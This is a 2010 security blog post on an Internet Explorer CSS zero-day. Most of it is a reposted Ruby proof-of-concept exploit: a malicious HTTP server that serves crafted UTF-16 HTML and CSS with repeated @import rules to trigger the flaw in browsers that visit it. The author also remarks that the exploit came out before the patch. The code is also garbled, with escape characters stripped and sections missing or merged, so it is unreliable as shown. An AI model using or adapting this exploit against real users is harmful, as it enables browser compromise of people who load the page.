Internet Explorer CSS 0Day. Exploit released.

Marco Ramilli
Date
23 December 2010
Read
Share
Hi folks,
yes even on my notes the new Internet Explorer (on windows 7) 0Day. It's a nice piece of work.

[vimeo 18023495 w=400 h=250]

Internet Explorer CSS 0day on Windows 7

What let me astonished is the exploit release which came before the Microsoft patch.
Here the exploit is:

#!/usr/bin/env ruby

# Source: https://www.breakingpointsystems.com/community/blog/ie-vulnerability/
# Author: Nephi Johnson (d0c_s4vage)

require 'socket'

def http_send(sock, data, opts={})
defaults = {:code=>"200", :message=>"OK", :type=>"text/html"}
opts = defaults.merge(opts)

code = opts[:code]
message = opts[:message]
type = opts[:type]

to_send = "HTTP/1.1 #{code} #{message}rn" +
"Date: Sat, 11 Dec 2010 14:20:23 GMTrn" +
"Cache-Control: no-cachern" +
"Content-Type: #{type}rn" +
"Pragma: no-cachern" +
"Content-Length: #{data.length}rnrn" +
"#{data}"
puts "[+] Sending:"
to_send.split("n").each do |line|
puts " #{line}"
end
sock.write(to_send) rescue return false
return true
end

def sock_read(sock, out_str, timeout=5)
begin
if Kernel.select([sock],[],[],timeout)
out_str.replace(sock.recv(1024))
puts "[+] Received:"
out_str.split("n").each do |line|
puts " #{line}"
end
else
sock.close
return false
end
rescue Exception => ex
return false
end
end

def to_uni(str)
res = ""
str.each_byte do |b|
res << "x00#{b.chr}" end res end @css_name = "x00sx03sx00sx03sx00sx03sx00sx03s" @html_name = "test.html" placeholder = "a" * (@css_name.length/2) @html = <<-HTML HTML @html = "xfexff" + to_uni(@html) @html.gsub!(to_uni(placeholder), @css_name) @css = <<-CSS @import url("#{placeholder}"); @import url("#{placeholder}"); @import url("#{placeholder}"); @import url("#{placeholder}"); CSS @css = "xfexff" + to_uni(@css) @css.gsub!(to_uni(placeholder), @css_name) @index = < 0
if req =~ /GET/
if req =~ /GET.*#{Regexp.escape(@html_name)}/
break unless http_send(cli, @html, :type=>"text/html")
elsif req =~ /GET.*index/
break unless http_send(cli, @index)
elsif req =~ /GET.*#{Regexp.escape(@css_name)}/
break unless http_send(cli, @css, :type=>"text/css")
else
break unless http_send(cli, @css, :type=>"text/css")
end
elsif req =~ /QUIT/
exit()
end
req = ""
next unless sock_read(cli, req, 5)
end
cli.close rescue next
end
end

Which basically implements a server who sends back to clients the following page:


It's a really good job, but couldn't wait the patch release before ?
I still need to suggest to switch from IE to Safari or to Firefox without 3-parties plugins.

Marco Ramilli
Date
23 December 2010
Read
Share
← Go back
Latest Posts

i-SOON Data Leak: Key Points

Introduction i-SOON (上海安洵), a prominent contractor for various Chinese government agencies such […]

Date
26.02.2024
Duration
5 min
Text
Marco Ramilli

X Gold Badges: a new proliferating market

When I saw a threat actor hijacking the X account of Google's […]

Date
08.01.2024
Duration
5 min
Text
Marco Ramilli

Technical Data Sheet: LOCKBIT 3.0

LOCKBIT 3.0 is a notorious Ransomware Group that was first identified on […]

Date
20.12.2023
Duration
5 min
Text
Marco Ramilli
1 2 3 236
Back to Top
magnifier